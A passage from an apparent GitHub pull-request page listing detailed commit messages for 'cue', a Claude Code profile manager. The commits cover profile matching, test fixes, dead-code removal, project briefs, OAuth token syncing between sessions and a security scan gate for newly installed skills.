ids, MCP ids) against what the directory reveals about itself (dependencies,
languages, marker files, entry names). Coverage goes to 85/85 and the card's
tail keeps landing on something the repo justifies. Wired in as a new `matched`
origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32
strength but never outranks a detection, a confirmed combo, or something
launched in this very directory.

Four properties earned their place by being wrong first:

  Absolute strength, not relative to the run's best hit. Normalizing against
  the top scorer manufactures confidence from noise — a directory with nothing
  to say still produced a 1.00 "match", because the weakest signal present is
  still the strongest signal present. cue and gitguardex now correctly match
  nothing.

  Corroboration: a filename alone never carries a match. Every repo here has a
  CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace
  backed by an actual robot.urdf. Chasing each such word with the stopword list
  was a losing game; requiring one dependency, language, or marker hit ends the
  class.

  IDF weighting plus size damping, so `gstack` (70 terms, mentions everything)
  cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area.

  Both sides normalize through the same `tokenize`. Skipping it on the evidence
  side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" —
  they never met, silently. Same failure class as the bash/TS drift the hook
  guards against.

gstack itself goes to _featured.yaml rather than being made detectable, because
it structurally cannot be: it is a WORKFLOW profile, describing how you want to
work, and repo evidence only ever describes what the project IS. A .urdf says
robotics; nothing on disk says "role-routed engineering". It scored 0.27 at
rank #6 across the test repos; always-available is the honest mechanism.

Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs ->
nextj), which affected skill matching too; the df cut is skipped below 10
profiles, where it discarded every term shared by two and matched nothing; and
manifest metadata keys are filtered, so `requires-python` and `[urls] issues`
stop reading as dependencies named "research" and "linear".

Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable),
api-tester surfaces python + backend-base, kolarortopedia surfaces postgres +
supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(test): make cue handoff tests e2e, drop the global mock.module leak

src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...).
Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file
that installs it, so whenever this file landed in the same worker before
src/lib/handoff.test.ts, that file asserted against the stub instead of the
real formatHandoffForAgent. The stub emitted only the header and the task
summary, so exactly the four sections it omitted failed:

  Most useful skills / Also helpful / MCPs used / Notes

Green locally, red in CI, purely on file ordering.

Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp
dir instead. HANDOFFS_DIR is a module-level const baked from that env var at
import time, so a fresh child picks up the temp dir and no global state is
touched. Nothing is left to leak — this was the last mock.module in the repo.

Also stronger: the router now runs against the real lib rather than a stub.
10 -> 18 tests, covering the --json branches, --skills level parsing, the
--from default and the unknown-subcommand fallback.

Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs,
2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings.

* chore: delete 733 lines of verified dead code

Every deletion was re-verified by hand against a repo-wide fixed-string grep
(excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and
extensionless bin scripts) plus a within-file usage check. Dead code's tests
go with it — a test for dead code is also dead.

Whole files, referenced by nothing but their own test:
  src/lib/incremental-materialize.ts   81 (+112 test)
  src/lib/skill-compressor.ts          68 (+59 test)
  src/lib/webhooks.ts                  58 (+175 test)
  scripts/_test-ecc-materialize.ts     20  (referenced by nothing at all)

Functions with exactly one occurrence in the repo — their own definition:
  discover.ts buildGemBadgeSvg        196
  skill-deps.ts topologicalSort        61 (+18 test)

Stale docs:
  bin/README.md                        32  describes a `soul` CLI and a
                                           bin/cli/lib/ layout, neither of
                                           which exists

Deliberately NOT deleted, though a generated report flagged them — 28 of its
76 non-picker findings were false positives, and deleting them blind would
have broken the build:

  analytics.ts recordSkillUsage  called by resources/hooks/skill-fire-tracker.sh
  bin/cue-slug                   called by bin/cue-learnings (the report's own
                                 grep passed --include='*.sh', so the
                                 extensionless caller never matched)
  runtime-gc.ts                  imported by commands/gc.ts and launch.ts
  handoff.ts (all 4 exports)     imported by commands/handoff.ts
  kitty-image probeKittyTerminal,
  clearKittyImagesSequence,
  skill-deps parseDependencies,
  skill-router Router* types     used within their own file; only the `export`
                                 keyword is redundant, which is churn, not dead
                                 code
  cloud.ts:255 "dead" branch     reachable: `cue cloud push x` gives
                                 argv[2]="cloud" and falls to the default arm

Also left alone: the picker block (~1057 lines) while that migration is in
flight, and launch.ts's token-budget re-export shim (all five symbols are used
inside launch.ts, so it is an export->import rewrite worth zero lines).

Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip /
0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline).

* docs(dead-code): mark the report superseded, record the false-positive rate

28 of 76 non-picker findings were wrong. Record which ones and why, so the
next pass re-verifies instead of trusting the confidence column: a 'high'
rating only means the agent's grep came back empty, and those greps missed
shell hooks, extensionless bin scripts, dynamic imports, and string-keyed
command dispatch.

* feat(brief): hand the agent verified facts about the directory it launches in

A profile teaches the agent a domain. It cannot know that this repo runs on
bun rather than npm, that the tests are behind `just check`, or where the
entry point lives — so the agent guesses, and burns turns finding out.

`lib/project-brief` scans that off the filesystem and the launcher hands it
over: package manager (from the lockfile), the real test/build/lint/typecheck
commands (package.json scripts, Makefile, justfile, Cargo, pyproject),
entry points, layout, workspaces, data layer, what CI actually runs, and the
default branch. Verified only — nothing inferred, because a wrong fact costs
more than a missing one. `.env` values are never read; the scan notes only
that a committed `.env.example` exists.

Delivery is per process, deliberately NOT through the materialized memory
file: the runtime is keyed by profile and shared by every directory and every
parallel session using it, so repo-specific text there would leak across
projects and race between sessions. claude-code takes the brief inline via
`--append-system-prompt`; codex, which has no such flag, gets a per-cwd file
plus one *static* pointer line in AGENTS.md.

`cue brief` shows exactly what the agent receives. `--write` turns it into
`.cue/project.md`: a machine block that refreshes and a `## Notes` section
that never does — for the conventions no scanner can infer. `CUE_BRIEF=0`
opts out entirely.

Two bugs the real-repo smoke test caught, both fixed with tests: the layout
list sorted alphabetically and spent its budget on `action/ agentshield/…`
while cutting `src/`; and `--write` folded the notes back into the machine
block, duplicating them on every rewrite.

Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/
python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest
→ null, and an assertion that no `.env` is ever read), plus the brief-file
merge and the per-agent injection.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): let the model rerank profile matches, without ever waiting on it

Every failure the lexical matcher has is the same shape: a word means one thing
in a manifest and another in a profile description, and the fix is another
stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a
round of tuning, and the list is unbounded. A model reads the same evidence and
doesn't make that class of mistake. So: lexical proposes, the model judges.

This fits here in a way it did not fit the skill matcher. That hook runs on
every prompt and the prompt is always different, so an LLM call is a per-message
tax with a near-zero cache hit rate — which is why it ended up as an opt-in
`--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence
rather than the clock, the cache hits ~always and the model is consulted about
once per project. Measured: 9.8s cold, 0.124s warm.

The launch path still never waits. A warm entry is read in ~1ms; a cold one
serves the lexical answer immediately and spawns a detached process to fill the
cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the
model's 10 seconds are never on anyone's critical path.

claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation
and the credential copy-back out of skill-subset (477 -> 331 lines). That
machinery is subtle enough — the rotation race, the shared timeout budget across
the binary fallback — that a second copy would drift rather than stay honest.

`cue profile match [dir] --explain --deep` exists because the matcher's early
versions stayed wrong for as long as they did purely because nothing showed
which term caused a bad suggestion. It earned its keep within minutes: on a
small Python CLI it revealed "dependencies" named environment, intended,
operating, programming and topic — PyPI trove classifiers, read as packages by
the loose manifest scanner. Handed that same garbage, the model confidently
picked profiles about building cue itself. With the scanner fixed to skip `::`
lines it picks python + backend-base, which is right.

The scanner now also harvests inline dependency arrays (`dependencies = [...]`),
which are often the only place a pyproject declares anything real.

Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS
platform"); kolarortopedia -> backend + postgres, with the model correctly
dropping `vite` (matched on the vitest test runner) and `supabase` (matched on
the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): scope remembered stacks to the repo you launch in

The combine suggestion engine remembered every stack globally: combo-history
rows carried no directory, so "you launched this stack 4x" counted launches
from every project at once. At SCORE_COMBO (50-65 with the count bonus) that
outranked the cwd-scoped recent (max 50), so a favourite stack from an
unrelated repo led the picker in a repo that had never seen it.

Rows now record the launch directory, and readCombos scopes them by repository
root - a launch inside packages/core still sees the stack confirmed at the repo
root above it. Stacks confirmed here score 60-75; stacks known only from other
repos drop to 31-40, below anything cwd-scoped, and say so in their reason.

Backward compatible on both ends: an unattributed row (written before cwd was
recorded) never claims the current directory, and a caller that passes no scope
keeps the exact score and wording it had before.

* feat(picker): scope pair affinity to the repo you launch in

growStack grafts your top historical partner onto every suggested stack, and it
does so with no reason line of its own - the profile just appears in the card.
That partner came from a global affinity map mined across every project, so a
pairing learned in one repo rode silently into the suggestions of an unrelated
one: open an API repo and backend+medusa-dev showed up because that is how you
work in a shop repo.

computeAffinityMap now takes an optional repo scope, and launch builds the
picker's partner map from the scoped one. Cross-repo habits still surface, but
only through channels that say where they came from - universalSuggestions, and
`cue suggest-pairs`, which now splits its table into pairings made here and
pairings made in other projects.

The scope predicate moves to lib/repo-scope, shared with combo-history so the
two history readers cannot drift into different notions of "here". Unscoped
callers - the universal-suggestion frequency pass, the dashboard - are
unchanged, and rows with no recorded directory are excluded under a scope
rather than credited to whichever repo happens to be open.

* feat(picker): scope Recent by repository, not by path prefix

Recent was the last suggestion source still scoping by raw downward path
prefix, which the previous two rounds turned into an inconsistency: launch in
packages/core and cue would show you the stacks and pairings confirmed at the
repo root, but none of the sessions. The prefix rule cannot match a parent
path, so scoped Recent came back empty and launch silently fell back to the
global list - handing that subdirectory the profiles you use in other projects.

computeStats now takes the same repo scope as the other two readers, so all
three agree on what "here" means. The reason line becomes "last used in this
repo", which is what it now measures.

This path had no test coverage at all; it now has five, including the
subdirectory case that was broken and the outside-a-repository fallback.

* fix(picker): rank suggested stacks by what you actually launch here

Three defects made the card lead with a stack the user had never launched.

1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with
   five or more sessions scored exactly 50 - a stack launched 112 times in this
   repo tied with one launched five times, and the card's headline was decided
   by the alphabetical tie-break. Replaced with a logarithmic bonus: every
   doubling of use adds a fixed step, calibrated so the five-session case lands
   where it did before and everything above it keeps climbing.

2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a
   four-part recent became a three-part stack that was never launched, captioned
   with the four-part stack's session count. Recollections are now shown as
   launched: conflicts still resolve, but no companions are bolted on and no
   parts are dropped. The cap still applies to stacks this module proposes.

3. First-write-wins dedup. Sources are scanned in a fixed order but are no
   longer ranked by it, so a foreign combo used 4x claimed the part-set and
   permanently suppressed the recent used 112x here. Dedup now keeps the
   best-scoring claim; ties keep the incumbent, preserving origin order where
   scores don't separate.

Measured in this repo, top suggestion before and after:
  before: career+skill-writer+core   (truncated from a 4-part stack, 5 sessions)
  after:  core+skill-writer          (112 sessions here)

* fix(suggest): score skills on what the user actually said

`cue suggest` recommended a wedding-invitations skill because "date" appeared
195 times, and rated everything at confidence 1.00. Four compounding faults.

Counting the wrong text. It scanned raw transcript JSONL, so assistant prose,
tool names, tool output and file contents all counted as things the user
"mentioned" - "read" scored 798x because that is the Read tool. Only user text
parts are read now; tool_result parts arrive under role "user" too and are
excluded.

Substring matching. `indexOf` found "ops" inside "operations" and "and" inside
"command". Matching is now whole-word, via a single tokenizing pass that also
replaces a per-keyword regex compiled over megabytes of text - the command went
from seconds to ~0.2s end to end.

No stopword filter. Every SKILL.md description opens with "Use this when the
user asks...", so "use", "when" and "user" became keywords for the entire
catalogue. Filtered now, along with transcript-structure words, and the
remaining keywords are weighted by catalogue-wide rarity: a stopword list only
knows what is common in English, not that "mcp" appears in hundreds of these
skills and separates none of them.

Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill,
so the printed number carried no information and the ranking was arbitrary.
Score is now the strongest few signals - summing every match rewarded a long
description over a relevant one - on an asymptotic curve calibrated against a
real 355-candidate run. Measured confidence spread over this repo's
transcripts: p10 0.32, p50 0.54, max 0.72.

The reason line is computed from the same frequency map as the score, so it can
no longer name a keyword that never contributed - which is how "and" came to be
cited 8044 times.

* fix(auth): keep concurrent sessions from revoking each other's tokens

Anthropic's OAuth rotates the refresh token on every refresh, and cue gives
each profile runtime its own copy of .credentials.json. Two sessions on
different profiles therefore hold two copies of one token: whichever refreshes
first silently revokes the other, which then hits a login prompt mid-session.
Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens,
114 of 117 access tokens expired.

Sharing one file via symlink is the obvious fix and does not work: Claude Code
rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink
with a regular file on the first refresh. Observable in any authmux runtime,
where cue symlinks .claude.json and every one has since become a plain file
while its neighbours (projects/, agents/) are still links.

So the sessions have to talk instead. cue already published a rotation to the
owning account dir on exit, which is too late - by then the sibling has already
been dropped. A live session now reconciles once a minute for as long as it
runs: it republishes its own rotation, and adopts anyone else's.

pullFreshestToRuntime is the missing inbound direction, gated on matching
accountUuid so alternating accounts can't hand each other tokens, and on
strictly newer expiresAt so two reconcilers settle rather than trading the file
back and forth. Polling rather than watching is deliberate: the same atomic
rename that defeats symlinks also breaks an inode watch.

* fix(auth): read the default account's identity where Claude Code keeps it

The rotation heal added in ae59ebf never ran for the default account. Every
direction in credentials-sync is gated on a known accountUuid, and
readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR
set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves
~/.claude/.claude.json a settings-only stub - so the default account read as
unknown and all three heals silently no-op'd: no candidates to sync from, no
publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh
tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug
hid because authmux account dirs DO carry identity in-dir, so they worked.

The basename gate keeps the fallback off those account dirs and off runtime
dirs, which all carry identity in-dir - a stray sibling .claude.json must
never be read as an account's identity or two accounts could trade tokens.

Second path to the same symptom: overlaySourceState copied .credentials.json
unconditionally, with none of the expiresAt comparison the rebuild path does.
It runs on every cache-hit launch, and cue sync / cue install resolve their
source with healFromRuntime: false - so one bulk sync could stamp a dead token
over every runtime at once. It now keeps whichever side is newer, scoped to a
single account so a deliberate account switch still re-seeds wholesale.

Last, the reconcile cadence. Copies of a blob share one expiresAt, so
concurrent sessions reach expiry together and refresh within moments of each
other; only the first rotation survives. A flat 60s poll cannot help when the
contended window is seconds wide, so the cadence now tightens to 5s across
that window and idles at a minute elsewhere. This narrows the race and does
not close it: cue does not perform the refresh, Claude Code does in-process,
so there is no point at which cue can serialize the two callers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(resolver): follow symlinked skill directories

A skill maintained in its own repo can be linked into the tree rather than
copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the
Linux port's skill has exactly one source of truth instead of a hand-synced
duplicate that silently drifts.

walk() filtered category entries on dirent.isDirectory(), which is false for the
symlink itself, so the linked skill vanished from the index and `cue validate`
failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are
treated as absent. The materializer already symlinks skills, so this only makes
the read path agree with the write path.

Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is
picked up by the CLI extractor.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(core): keep ego-browser loaded in every project

core declared browser/ego-browser, but the per-project loadout deferred it
everywhere no project signal matched — which is most projects, since the signal
set comes from package.json deps and framework detection and nothing there says
"browser". The declaration was real and the skill still never loaded.

Deferring it does not save a browser session; it sends the agent to MCP
round-trips or web fetch instead, which costs more than this skill's
frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the
matching slug set in profile-merge so a budgeted composite can't drop it either.

Verified on a neutral cwd with zero project signals: browser/ego-browser now
classifies full, where it previously landed in deferred.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(security): gate freshly-fetched skills through NVIDIA SkillSpector

Every path that lands a new skill on disk — `skills add`, `discover install`,
`marketplace install-skill` — now scans it before anything registers it to a
profile. SkillSpector covers 68 vulnerability patterns across 17 categories
(prompt injection, data exfiltration, supply chain, dangerous code via AST,
YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals.

Policy reads the report's `recommendation` rather than the exit code, so the
three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers
with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block.

install-skill differs from the others on purpose: the files are already on disk
by the time it runs, so a block reports findings and exits non-zero rather than
deleting anything, leaving them for review.

When the scanner isn't installed the gate degrades to cue's own rules and says
so, rather than silently passing everything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(materializer): stop unresolving the live runtime path mid-swap

Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into
place, so the live path stayed nonexistent for the whole recursive delete —
seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code
session already running against that profile resolves its hooks through exactly
that path, so every hook firing inside the gap died with "No such file or
directory" (observed 2026-08-03: nine Stop hooks at once, mid-session).

Move the old tree aside instead: the path is unresolvable only between two
renames, and the delete runs after the new runtime is live. The `.old-*` dir is
a sibling of the swap target, so it cannot cross a filesystem boundary and sits
one level below the root runtime-gc scans. Leftovers from a swap killed between
the renames are swept best-effort on the next materialize.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(picker): pull the shared visual primitives out of card and palette

The v2 card and the stack palette had grown their own copies of the same
drawing code. Both now hang off one set of primitives in picker/ui.ts, styled
after iOS grouped-inset lists: one rounded card per idea, uppercase muted
section headers instead of heavy rules, a filled pill for the single primary
action, circular selection marks instead of ASCII brackets, page dots for
"there is more to see here".

Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a
TTY, so the tests assert on plain text.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore: integrity-protocol wording, tag hooks, two new profiles

Collects the remaining working-tree changes from prior sessions:

- resources/personas/integrity-protocol{,-compact}.md — wording pass
- resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag
  density checks
- profiles/frontend-design, profiles/reverse-skill — two new profiles
- README.md, .cue.profile (cue's own pin: core -> core+skill-writer)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125)

The confidence protocol stated four different rules for the ~N% calibration
on yellow/orange tags. The always-on compact persona called it optional; the
skill called a bare [INFERRED] a protocol violation. So the rule that applied
depended on which source happened to be in context.

Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange
~20-45%). The tiers no longer overlap each other or green. 14 steps rather
than a coarser ladder, because the number exists to order claims against each
other; not finer, because self-reported confidence is miscalibrated in
absolute terms and ~67% would read as a measurement that never happened.

liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag
with no ~N%, or one off the raster, is now flagged. The two heuristics around
it stay heuristics; this one is a fact, since the protocol names the legal
values.

src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two
scripts that cannot import from each other -- the hook here, and the eval
grader in the resources/skills submodule, which also ships standalone via npx
to agents with no cue tree. The guard reads both definitions and asserts they
match, plus that all four prose sources state the same rule. Verified by
injecting a one-sided change and watching it fail.

src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks:
16 tests driving both Stop hooks through synthetic transcripts. Note the two
traps it documents -- transcript records must be compact JSON, and pointing
HOME at a temp dir breaks a wrapper-script python3, which silently turns every
"expects no output" assertion into a vacuous pass.

summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and
1857088 (#121) dropped the lightpanda MCP from every profile that pinned it,
so it asserted a pairing that no longer existed. It now derives a live pairing
instead of hardcoding one, and fails loudly rather than skipping if none is
satisfiable.

README/llms.txt: 86 -> 87 profiles, which 062b40a left behind.

resources/skills: fast-forward the pointer onto opencue/skills#18, which
carries the matching grader change. e9e6657 is an ancestor, so nothing is
lost; the bump also closes a pre-existing 4-commit lag.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt added a commit that referenced this pull request Aug 10, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules

The suggestion engine ranked profiles from five hand-maintained sources —
dependency rules, path conventions, combo history, recents, featured. Between
them they cover 19 of 85 profiles. The other 66 could only ever surface if the
user had launched them before, so a directory that genuinely wanted one had no
way to say so, and cycling past the third suggestion ran out of answers.

profile-match scores every profile's OWN vocabulary (name, description, skill
ids, MCP ids) against what the directory reveals about itself (dependencies,
languages, marker files, entry names). Coverage goes to 85/85 and the card's
tail keeps landing on something the repo justifies. Wired in as a new `matched`
origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32
strength but never outranks a detection, a confirmed combo, or something
launched in this very directory.

Four properties earned their place by being wrong first:

  Absolute strength, not relative to the run's best hit. Normalizing against
  the top scorer manufactures confidence from noise — a directory with nothing
  to say still produced a 1.00 "match", because the weakest signal present is
  still the strongest signal present. cue and gitguardex now correctly match
  nothing.

  Corroboration: a filename alone never carries a match. Every repo here has a
  CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace
  backed by an actual robot.urdf. Chasing each such word with the stopword list
  was a losing game; requiring one dependency, language, or marker hit ends the
  class.

  IDF weighting plus size damping, so `gstack` (70 terms, mentions everything)
  cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area.

  Both sides normalize through the same `tokenize`. Skipping it on the evidence
  side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" —
  they never met, silently. Same failure class as the bash/TS drift the hook
  guards against.

gstack itself goes to _featured.yaml rather than being made detectable, because
it structurally cannot be: it is a WORKFLOW profile, describing how you want to
work, and repo evidence only ever describes what the project IS. A .urdf says
robotics; nothing on disk says "role-routed engineering". It scored 0.27 at
rank #6 across the test repos; always-available is the honest mechanism.

Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs ->
nextj), which affected skill matching too; the df cut is skipped below 10
profiles, where it discarded every term shared by two and matched nothing; and
manifest metadata keys are filtered, so `requires-python` and `[urls] issues`
stop reading as dependencies named "research" and "linear".

Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable),
api-tester surfaces python + backend-base, kolarortopedia surfaces postgres +
supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(test): make cue handoff tests e2e, drop the global mock.module leak

src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...).
Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file
that installs it, so whenever this file landed in the same worker before
src/lib/handoff.test.ts, that file asserted against the stub instead of the
real formatHandoffForAgent. The stub emitted only the header and the task
summary, so exactly the four sections it omitted failed:

  Most useful skills / Also helpful / MCPs used / Notes

Green locally, red in CI, purely on file ordering.

Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp
dir instead. HANDOFFS_DIR is a module-level const baked from that env var at
import time, so a fresh child picks up the temp dir and no global state is
touched. Nothing is left to leak — this was the last mock.module in the repo.

Also stronger: the router now runs against the real lib rather than a stub.
10 -> 18 tests, covering the --json branches, --skills level parsing, the
--from default and the unknown-subcommand fallback.

Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs,
2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings.

* chore: delete 733 lines of verified dead code

Every deletion was re-verified by hand against a repo-wide fixed-string grep
(excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and
extensionless bin scripts) plus a within-file usage check. Dead code's tests
go with it — a test for dead code is also dead.

Whole files, referenced by nothing but their own test:
  src/lib/incremental-materialize.ts   81 (+112 test)
  src/lib/skill-compressor.ts          68 (+59 test)
  src/lib/webhooks.ts                  58 (+175 test)
  scripts/_test-ecc-materialize.ts     20  (referenced by nothing at all)

Functions with exactly one occurrence in the repo — their own definition:
  discover.ts buildGemBadgeSvg        196
  skill-deps.ts topologicalSort        61 (+18 test)

Stale docs:
  bin/README.md                        32  describes a `soul` CLI and a
                                           bin/cli/lib/ layout, neither of
                                           which exists

Deliberately NOT deleted, though a generated report flagged them — 28 of its
76 non-picker findings were false positives, and deleting them blind would
have broken the build:

  analytics.ts recordSkillUsage  called by resources/hooks/skill-fire-tracker.sh
  bin/cue-slug                   called by bin/cue-learnings (the report's own
                                 grep passed --include='*.sh', so the
                                 extensionless caller never matched)
  runtime-gc.ts                  imported by commands/gc.ts and launch.ts
  handoff.ts (all 4 exports)     imported by commands/handoff.ts
  kitty-image probeKittyTerminal,
  clearKittyImagesSequence,
  skill-deps parseDependencies,
  skill-router Router* types     used within their own file; only the `export`
                                 keyword is redundant, which is churn, not dead
                                 code
  cloud.ts:255 "dead" branch     reachable: `cue cloud push x` gives
                                 argv[2]="cloud" and falls to the default arm

Also left alone: the picker block (~1057 lines) while that migration is in
flight, and launch.ts's token-budget re-export shim (all five symbols are used
inside launch.ts, so it is an export->import rewrite worth zero lines).

Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip /
0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline).

* docs(dead-code): mark the report superseded, record the false-positive rate

28 of 76 non-picker findings were wrong. Record which ones and why, so the
next pass re-verifies instead of trusting the confidence column: a 'high'
rating only means the agent's grep came back empty, and those greps missed
shell hooks, extensionless bin scripts, dynamic imports, and string-keyed
command dispatch.

* feat(brief): hand the agent verified facts about the directory it launches in

A profile teaches the agent a domain. It cannot know that this repo runs on
bun rather than npm, that the tests are behind `just check`, or where the
entry point lives — so the agent guesses, and burns turns finding out.

`lib/project-brief` scans that off the filesystem and the launcher hands it
over: package manager (from the lockfile), the real test/build/lint/typecheck
commands (package.json scripts, Makefile, justfile, Cargo, pyproject),
entry points, layout, workspaces, data layer, what CI actually runs, and the
default branch. Verified only — nothing inferred, because a wrong fact costs
more than a missing one. `.env` values are never read; the scan notes only
that a committed `.env.example` exists.

Delivery is per process, deliberately NOT through the materialized memory
file: the runtime is keyed by profile and shared by every directory and every
parallel session using it, so repo-specific text there would leak across
projects and race between sessions. claude-code takes the brief inline via
`--append-system-prompt`; codex, which has no such flag, gets a per-cwd file
plus one *static* pointer line in AGENTS.md.

`cue brief` shows exactly what the agent receives. `--write` turns it into
`.cue/project.md`: a machine block that refreshes and a `## Notes` section
that never does — for the conventions no scanner can infer. `CUE_BRIEF=0`
opts out entirely.

Two bugs the real-repo smoke test caught, both fixed with tests: the layout
list sorted alphabetically and spent its budget on `action/ agentshield/…`
while cutting `src/`; and `--write` folded the notes back into the machine
block, duplicating them on every rewrite.

Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/
python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest
→ null, and an assertion that no `.env` is ever read), plus the brief-file
merge and the per-agent injection.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): let the model rerank profile matches, without ever waiting on it

Every failure the lexical matcher has is the same shape: a word means one thing
in a manifest and another in a profile description, and the fix is another
stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a
round of tuning, and the list is unbounded. A model reads the same evidence and
doesn't make that class of mistake. So: lexical proposes, the model judges.

This fits here in a way it did not fit the skill matcher. That hook runs on
every prompt and the prompt is always different, so an LLM call is a per-message
tax with a near-zero cache hit rate — which is why it ended up as an opt-in
`--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence
rather than the clock, the cache hits ~always and the model is consulted about
once per project. Measured: 9.8s cold, 0.124s warm.

The launch path still never waits. A warm entry is read in ~1ms; a cold one
serves the lexical answer immediately and spawns a detached process to fill the
cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the
model's 10 seconds are never on anyone's critical path.

claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation
and the credential copy-back out of skill-subset (477 -> 331 lines). That
machinery is subtle enough — the rotation race, the shared timeout budget across
the binary fallback — that a second copy would drift rather than stay honest.

`cue profile match [dir] --explain --deep` exists because the matcher's early
versions stayed wrong for as long as they did purely because nothing showed
which term caused a bad suggestion. It earned its keep within minutes: on a
small Python CLI it revealed "dependencies" named environment, intended,
operating, programming and topic — PyPI trove classifiers, read as packages by
the loose manifest scanner. Handed that same garbage, the model confidently
picked profiles about building cue itself. With the scanner fixed to skip `::`
lines it picks python + backend-base, which is right.

The scanner now also harvests inline dependency arrays (`dependencies = [...]`),
which are often the only place a pyproject declares anything real.

Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS
platform"); kolarortopedia -> backend + postgres, with the model correctly
dropping `vite` (matched on the vitest test runner) and `supabase` (matched on
the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): scope remembered stacks to the repo you launch in

The combine suggestion engine remembered every stack globally: combo-history
rows carried no directory, so "you launched this stack 4x" counted launches
from every project at once. At SCORE_COMBO (50-65 with the count bonus) that
outranked the cwd-scoped recent (max 50), so a favourite stack from an
unrelated repo led the picker in a repo that had never seen it.

Rows now record the launch directory, and readCombos scopes them by repository
root - a launch inside packages/core still sees the stack confirmed at the repo
root above it. Stacks confirmed here score 60-75; stacks known only from other
repos drop to 31-40, below anything cwd-scoped, and say so in their reason.

